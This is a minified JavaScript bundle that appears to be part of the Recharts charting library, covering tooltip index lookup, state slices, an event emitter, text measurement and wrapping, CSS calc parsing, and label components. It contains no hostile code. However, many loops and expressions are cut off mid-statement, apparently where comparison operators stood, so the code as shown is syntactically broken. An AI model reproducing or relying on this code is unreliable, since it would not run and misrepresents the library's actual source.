za(za(za({},r),dt(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function OR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var Fz=(e,t,n,r,i)=>{var s,o=(s=t==null?void 0:t.length)!==null&&s!==void 0?s:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(p=n[l+1])===null||p===void 0?void 0:p.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(Gt(x-h)!==Gt(g-x)){var v=[];if(Gt(g-x)===Gt(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var N;return(N=n[l])===null||N===void 0?void 0:N.index}}else{var z=Math.min(h,g),k=Math.max(h,g);if(e>(z+x)/2&&e<=(k+x)/2){var S;return(S=n[l])===null||S===void 0?void 0:S.index}}}else if(t)for(var A=0;A(_.coordinate+P.coordinate)/2||A>0&&A(_.coordinate+P.coordinate)/2&&e<=(_.coordinate+O.coordinate)/2)return _.index}}return-1},Wz=()=>je(P0),lv=(e,t)=>t,Uz=(e,t,n)=>n,cv=(e,t,n,r)=>r,TR=L(Zr,e=>Cd(e,t=>t.coordinate)),uv=L([Cs,lv,Uz,cv],Cz),dv=L([uv,Es,gl,bl],rv),MR=(e,t,n)=>{if(t!=null){var r=Cs(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},Vz=L([Cs,lv,Uz,cv],Ez),Ru=L([Hr,Kr,De,kt,Zr,cv,Vz],Pz),LR=L([uv,Ru],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),Hz=L([Zr,dv],jz),IR=L([Vz,dv,qr,gl,Hz,_z,lv],Az),DR=L([uv,dv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),RR=(e,t,n,r,i,s,o)=>{if(!(!e||!n||!r||!i)&&OR(e,o)){var l=zT(e,t),c=Fz(l,s,i,n,r),u=_R(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},$R=(e,t,n,r,i,s,o)=>{if(!(!e||!r||!i||!s||!n)){var l=C8(e,n);if(l){var c=ST(l,t),u=Fz(c,o,s,r,i),d=AR(t,s,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},BR=(e,t,n,r,i,s,o,l)=>{if(!(!e||!t||!r||!i||!s))return t==="horizontal"||t==="vertical"?RR(e,t,r,i,s,o,l):$R(e,t,n,r,i,s,o)},FR=L(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),WR=L(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Zt)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:NI}});function Ob(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Tb(e){for(var t=1;tTb(Tb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),KR)},qR=new Set(Object.values(Zt));function GR(e){return qR.has(e)}var Kz=nn({name:"zIndex",initialState:YR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:He()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!GR(n)&&delete e.zIndexMap[n])},prepare:He()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:He()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:He()}}}),{registerZIndexPortal:XR,unregisterZIndexPortal:ZR,registerZIndexPortalElement:QR,unregisterZIndexPortalElement:JR}=Kz.actions,e9=Kz.reducer;function Mi(e){var{zIndex:t,children:n}=e,r=nM(),i=r&&t!==void 0&&t!==0,s=Jn(),o=ot();m.useLayoutEffect(()=>i?(o(XR({zIndex:t})),()=>{o(ZR({zIndex:t}))}):ys,[o,t,i]);var l=je(c=>FR(c,t,s));return i?l?jx.createPortal(n,l):null:n}function bh(){return bh=Object.assign?Object.assign.bind():function(e){for(var t=1;tm.useContext(Yz),qz={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function s(c,u,d,f,p){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,p),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var p=0,h=f.length,x=new Array(h);p{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!mr(n))return e[n]}},u9={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},Xz=nn({name:"options",initialState:u9,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),d9=Xz.reducer,{createEventEmitter:f9}=Xz.actions;function m9(e){return e.tooltip.syncInteraction}var p9={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},Zz=nn({name:"chartData",initialState:p9,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:Ib,setDataStartEndIndexes:h9,setComputedData:JV}=Zz.actions,x9=Zz.reducer,v9=["x","y"];function Db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sa(e){for(var t=1;tc.rootProps.className);m.useEffect(()=>{if(e==null)return ys;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var p;if(o&&d!==null&&d!==void 0&&(p=d.payload)!==null&&p!==void 0&&p.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=w9(h,v9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,N=Sa(Sa({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(Sa(Sa({},d),{},{payload:Sa(Sa({},d.payload),{},{coordinate:N})}))}else n(d);return}if(i!=null){var z;if(typeof r=="function"){var k={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},S=r(i,k);z=i[S]}else r==="value"&&(z=i.find(M=>String(M.value)===d.payload.label));var{coordinate:A}=d.payload;if(z==null||d.payload.active===!1||A==null||o==null){n(gh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:_,y:O}=A,P=Math.min(_,o.x+o.width),I=Math.min(O,o.y+o.height),Y={x:s==="horizontal"?z.coordinate:P,y:s==="horizontal"?I:z.coordinate},D=gh({active:d.payload.active,coordinate:Y,dataKey:d.payload.dataKey,index:String(z.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(D)}}};return Zo.on(wh,c),()=>{Zo.off(wh,c)}},[l,n,t,e,r,i,s,o])}function k9(){var e=je(E0),t=je(_0),n=ot();m.useEffect(()=>{if(e==null)return ys;var r=(i,s,o)=>{t!==o&&e===i&&n(h9(s))};return Zo.on(Lb,r),()=>{Zo.off(Lb,r)}},[n,t,e])}function z9(){var e=ot();m.useEffect(()=>{e(f9())},[e]),N9(),k9()}function S9(e,t,n,r,i,s){var o=je(h=>MR(h,e,t)),l=je(_0),c=je(E0),u=je($4),d=je(m9),f=d==null?void 0:d.active,p=Wd();m.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=gh({active:s,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:p,graphicalItemId:void 0});Zo.emit(wh,c,h,l)}},[f,n,o,i,r,l,c,u,s,p])}function Rb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function $b(e){for(var t=1;t{k(ED({shared:b,trigger:w,axisId:z,active:i,defaultIndex:S}))},[k,b,w,z,i,S]);var A=Wd(),_=Tk(),O=ND(b),{activeIndex:P,isActive:I}=(t=je(G=>DR(G,O,w,S)))!==null&&t!==void 0?t:{},Y=je(G=>IR(G,O,w,S)),D=je(G=>Hz(G,O,w,S)),M=je(G=>LR(G,O,w,S)),W=Y,$=o9(),H=(n=i??I)!==null&&n!==void 0?n:!1,[F,K]=fO([W,H]),Z=O==="axis"?D:void 0;S9(O,w,M,Z,P,H);var oe=N??$;if(oe==null||A==null||O==null)return null;var de=W??Bb;H||(de=Bb),u&&de.length&&(de=_6(de.filter(G=>G.value!=null&&(G.hide!==!0||r.includeHidden)),p,_9));var be=de.length>0,ye=m.createElement(CM,{allowEscapeViewBox:s,animationDuration:o,animationEasing:l,isAnimationActive:d,active:H,coordinate:M,hasPayload:be,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:A,wrapperStyle:y,lastBoundingBox:F,innerRef:K,hasPortalFromProps:!!N},A9(c,$b($b({},r),{},{payload:de,label:Z,active:H,activeIndex:P,coordinate:M,accessibilityLayer:_})));return m.createElement(m.Fragment,null,jx.createPortal(ye,oe),H&&m.createElement(s9,{cursor:v,tooltipEventType:O,coordinate:M,payload:de,index:P}))}var ff=e=>null;ff.displayName="Cell";function T9(e,t,n){return(t=M9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function M9(e){var t=L9(e,"string");return typeof t=="symbol"?t:t+""}function L9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class I9{constructor(t){T9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function Wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function D9(e){for(var t=1;t{try{var n=document.getElementById(Vb);n||(n=document.createElement("span"),n.setAttribute("id",Vb),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,W9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},Kb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Kd.isSsr)return{width:0,height:0};if(!Qz.enableCache)return Hb(t,n);var r=U9(t,n),i=Ub.get(r);if(i)return i;var s=Hb(t,n);return Ub.set(r,s),s},Jz;function V9(e,t,n){return(t=H9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function H9(e){var t=K9(e,"string");return typeof t=="symbol"?t:t+""}function K9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Yb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,qb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,Y9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,q9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,G9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},X9=["cm","mm","pt","pc","in","Q","px"];function Z9(e){return X9.includes(e)}var Wa="NaN";function Q9(e,t){return e*G9[t]}class _t{static parse(t){var n,[,r,i]=(n=q9.exec(t))!==null&&n!==void 0?n:[];return r==null?_t.NaN:new _t(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,mr(t)&&(this.unit=""),n!==""&&!Y9.test(n)&&(this.num=NaN,this.unit=""),Z9(n)&&(this.num=Q9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return mr(this.num)}}Jz=_t;V9(_t,"NaN",new Jz(NaN,""));function e3(e){if(e==null||e.includes(Wa))return Wa;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,s]=(n=Yb.exec(t))!==null&&n!==void 0?n:[],o=_t.parse(r??""),l=_t.parse(s??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return Wa;t=t.replace(Yb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,p]=(u=qb.exec(t))!==null&&u!==void 0?u:[],h=_t.parse(d??""),x=_t.parse(p??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return Wa;t=t.replace(qb,g.toString())}return t}var Gb=/\(([^()]*)\)/;function J9(e){for(var t=e,n;(n=Gb.exec(t))!=null;){var[,r]=n;t=t.replace(Gb,e3(r))}return t}function e$(e){var t=e.replace(/\s+/g,"");return t=J9(t),t=e3(t),t}function t$(e){try{return e$(e)}catch{return Wa}}function jm(e){var t=t$(e.slice(5,-1));return t===Wa?"":t}var n$=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],r$=["dx","dy","angle","className","breakAll"];function jh(){return jh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Mt(t)||(n?i=t.toString().split(""):i=t.toString().split(t3));var s=i.map(l=>({word:l,width:Kb(l,r).width})),o=n?0:Kb(" ",r).width;return{wordsWithComputedWidth:s,spaceWidth:o}}catch{return null}};function a$(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var r3=(e,t,n,r)=>e.reduce((i,s)=>{var{word:o,width:l}=s,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),s$="…",Zb=(e,t,n,r,i,s,o,l)=>{var c=e.slice(0,t),u=n3({breakAll:n,style:r,children:c+s$});if(!u)return[!1,[]];var d=r3(u.wordsWithComputedWidth,s,o,l),f=d.length>i||i3(d).width>Number(s);return[f,d]},o$=(e,t,n,r,i)=>{var{maxLines:s,children:o,style:l,breakAll:c}=e,u=ge(s),d=String(o),f=r3(t,r,n,i);if(!u||i)return f;var p=f.length>s||i3(f).width>Number(r);if(!p)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Zb(d,b,c,l,s,r,n,i),[N]=Zb(d,v,c,l,s,r,n,i);if(!w&&!N&&(h=v+1),w&&N&&(x=v-1),!w&&N){y=j;break}g++}return y||f},Qb=e=>{var t=Mt(e)?[]:e.toString().split(t3);return[{words:t,width:void 0}]},l$=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:s,maxLines:o}=e;if((t||n)&&!Kd.isSsr){var l,c,u=n3({breakAll:s,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return Qb(r);return o$({breakAll:s,children:r,maxLines:o,style:i},l,c,t,!!n)}return Qb(r)},a3="#808080",c$={angle:0,breakAll:!1,capHeight:"0.71em",fill:a3,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},fv=m.forwardRef((e,t)=>{var n=gn(e,c$),{x:r,y:i,lineHeight:s,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Xb(n,n$),p=m.useMemo(()=>l$({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Xb(f,r$);if(!Lr(r)||!Lr(i)||p.length===0)return null;var w=Number(r)+(ge(h)?h:0),j=Number(i)+(ge(x)?x:0);if(!Ee(w)||!Ee(j))return null;var N;switch(d){case"start":N=jm("calc(".concat(o,")"));break;case"middle":N=jm("calc(".concat((p.length-1)/2," * -").concat(s," + (").concat(o," / 2))"));break;default:N=jm("calc(".concat(p.length-1," * -").concat(s,")"));break}var z=[],k=p[0];if(c&&k!=null){var S=k.width,{width:A}=f;z.push("scale(".concat(ge(A)&&ge(S)?A/S:1,")"))}return g&&z.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),z.length&&(b.transform=z.join(" ")),m.createElement("text",jh({},Ut(b),{ref:t,x:w,y:j,className:Qe("recharts-text",y),textAnchor:u,fill:l.includes("url")?a3:l}),p.map((_,O)=>{var P=_.words.join(v?"":" ");return m.createElement("tspan",{x:w,dy:O===0?N:s,key:"".concat(P,"-").concat(O)},P)}))});fv.displayName="Text";function Jb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rr(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:s,y:o,height:l,upperWidth:c,lowerWidth:u}=e0(t),d=s,f=s+(c-u)/2,p=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,N=w>0?"end":"start",z=w>0?"start":"end",k=i;if(n==="top"){var S={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return k&&(S.height=Math.max(o-k.y,0),S.width=c),S}if(n==="bottom"){var A={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return k&&(A.height=Math.max(k.y+k.height-(o+l),0),A.width=u),A}if(n==="left"){var _={x:p-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"};return k&&(_.width=Math.max(_.x-k.x,0),_.height=l),_}if(n==="right"){var O={x:p+h+j,y:o+l/2,horizontalAnchor:z,verticalAnchor:"middle"};return k&&(O.width=Math.max(k.x+k.width-O.x,0),O.height=l),O}var P=k?{width:h,height:l}:{};return n==="insideLeft"?rr({x:p+j,y:o+l/2,horizontalAnchor:z,verticalAnchor:"middle"},P):n==="insideRight"?rr({x:p+h-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"},P):n==="insideTop"?rr({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?rr({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?rr({x:d+j,y:o+y,horizontalAnchor:z,verticalAnchor:b},P):n==="insideTopRight"?rr({x:d+c-j,y:o+y,horizontalAnchor:N,verticalAnchor:b},P):n==="insideBottomLeft"?rr({x:f+j,y:o+l-y,horizontalAnchor:z,verticalAnchor:v},P):n==="insideBottomRight"?rr({x:f+u-j,y:o+l-y,horizontalAnchor:N,verticalAnchor:v},P):n&&typeof n=="object"&&(ge(n.x)||da(n.x))&&(ge(n.y)||da(n.y))?rr({x:s+fn(n.x,h),y:o+fn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):rr({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},p$=["labelRef"],h$=["content"];function e2(e,t){if(e==null)return{};var n,r,i=x$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var e=m.useContext(b$),t=Wd();return e||(t?e0(t):void 0)},j$=m.createContext(null),N$=()=>{var e=m.useContext(j$),t=je(H4);return e||t},k$=e=>{var{value:t,formatter:n}=e,r=Mt(e.children)?t:e.children;return typeof n=="function"?n(r):r},z$=e=>e!=null&&typeof e=="function",S$=(e,t)=>{var n=Gt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},C$=(e,t,n,r,i)=>{var{offset:s,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:p,clockWise:h}=i,x=(u+d)/2,g=S$(f,p),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*s,b=h;break;case"insideEnd":v=p-y*s,b=!h;break;case"end":v=p+y*s,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=dt(l,c,x,v),j=dt(l,c,x,v+(b?1:-1)*359),N="M".concat(w.x,",").concat(w.y,` + A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, + `).concat(j.x,",").concat(j.y),z=Mt(e.id)?Ro("recharts-radial-line-"):e.id;return m.createElement("text",$u({},r,{dominantBaseline:"central",className:Qe("recharts-radial-bar-label",o)}),m.createElement("defs",null,m.createElement("path",{id:z,d:N})),m.createElement("textPath",{xlinkHref:"#".concat(z)},n))},P$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:s,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=dt(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var p=(s+o)/2,{x:h,y:x}=dt(r,i,p,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},zc=e=>e!=null&&"cx"in e&&ge(e.cx),E$={angle:0,offset:5,zIndex:Zt.label,position:"middle",textBreakAll:!1};function _$(e){if(!zc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function s3(e){var t=gn(e,E$),{viewBox:n,parentViewBox:r,position:i,value:s,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=N$(),p=w$(),h=i==="center"?p:f??p,x,g,y;n==null?x=h:zc(n)?x=n:x=e0(n);var v=_$(x);if(!x||Mt(s)&&Mt(o)&&!m.isValidElement(l)&&typeof l!="function")return null;var b=tc(tc({},t),{},{viewBox:x});if(m.isValidElement(l)){var{labelRef:w}=b,j=e2(b,p$);return m.cloneElement(l,j)}if(typeof l=="function"){var{content:N}=b,z=e2(b,h$);if(g=m.createElement(l,z),m.isValidElement(g))return g}else g=k$(t);var k=Ut(t);if(zc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return C$(t,i,g,k,x);y=P$(x,t.offset,t.position)}else{if(!v)return null;var S=m$({viewBox:v,position:i,offset:t.offset,parentViewBox:zc(r)?void 0:r});y=tc(tc({x:S.x,y:S.y,textAnchor:S.horizontalAnchor,verticalAnchor:S.verticalAnchor},S.width!==void 0?{width:S.width}:{}),S.height!==void 0?{height:S.height}:{})}return m.createElement(Mi,{zIndex:t.zIndex},m.createElement(fv,$u({ref:d,className:Qe("recharts-label",c)},k,y,{textAnchor:a$(k.textAnchor)?k.textAnchor:y.textAnchor,breakAll:u}),g))}s3.displayName="Label";var o3={},l3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(l3);var c3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(c3);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=l3,n=c3,r=kd;function i(s){if(r.isArrayLike(s))return t.last(n.toArray(s))}e.last=i})(o3);var A$=o3.last;const O$=Wr(A$);var T$=["valueAccessor"],M$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Bu(){return Bu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?O$(e.value):e.value,u3=m.createContext(void 0),D$=u3.Provider,d3=m.createContext(void 0),R$=d3.Provider;function $$(){return m.useContext(u3)}function B$(){return m.useContext(d3)}function Sc(e){var{valueAccessor:t=I$}=e,n=n2(e,T$),{dataKey:r,clockWise:i,id:s,textBreakAll:o,zIndex:l}=n,c=n2(n,M$),u=$$(),d=B$(),f=u||d;return!f||!f.length?null:m.createElement(Mi,{zIndex:l??Zt.label},m.createElement(tn,{className:"recharts-label-list"},f.map((p,h)=>{var x,g=Mt(r)?t(p,h):Ve(p.payload,r),y=Mt(s)?{}:{id:"".concat(s,"-").concat(h)};return m.createElement(s3,Bu({key:"label-".concat(h)},Ut(p),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:p.fill,parentViewBox:p.parentViewBox,value:g,textBreakAll:o,viewBox:p.viewBox,index:h,zIndex:0}))})))}Sc.displayName="LabelList";function f3(e){var{label:t}=e;return t?t===!0?m.createElement(Sc,{key:"labelList-implicit"}):m.isValidElement(t)||z$(t)?m.createElement(Sc,{key:"labelList-implicit",content:t}):typeof t=="object"?m.createElement(Sc,Bu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function Nh(){return Nh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,s=Qe("recharts-dot",i);return ge(t)&&ge(n)&&ge(r)?m.createElement("circle",Nh({},Mr(e),Lx(e),{className:s,cx:t,cy:n,r})):null},p3=e=>e.graphicalItems.polarItems,F$=L([Je,xl],D0),mf=L([p3,it,F$],R0),W$=L([mf],$0),pf=L([W$,tf],B0),U$=L([pf,it,mf],W0);L([pf,it,mf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var s,o=Ve(r,(s=t.dataKey)!==null&&s!==void 0?s:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var r2=()=>{},V$=L([pf,it,mf,lf,Je],K0),H$=L([it,V0,H0,r2,V$,r2,De,Je],Y0),h3=L([it,De,pf,U$,hl,Je,H$],q0),K$=L([h3,zs,Ti],Z0),Y$=L([it,h3,K$,Je],J0);L([Ti,Y$],Y4);var 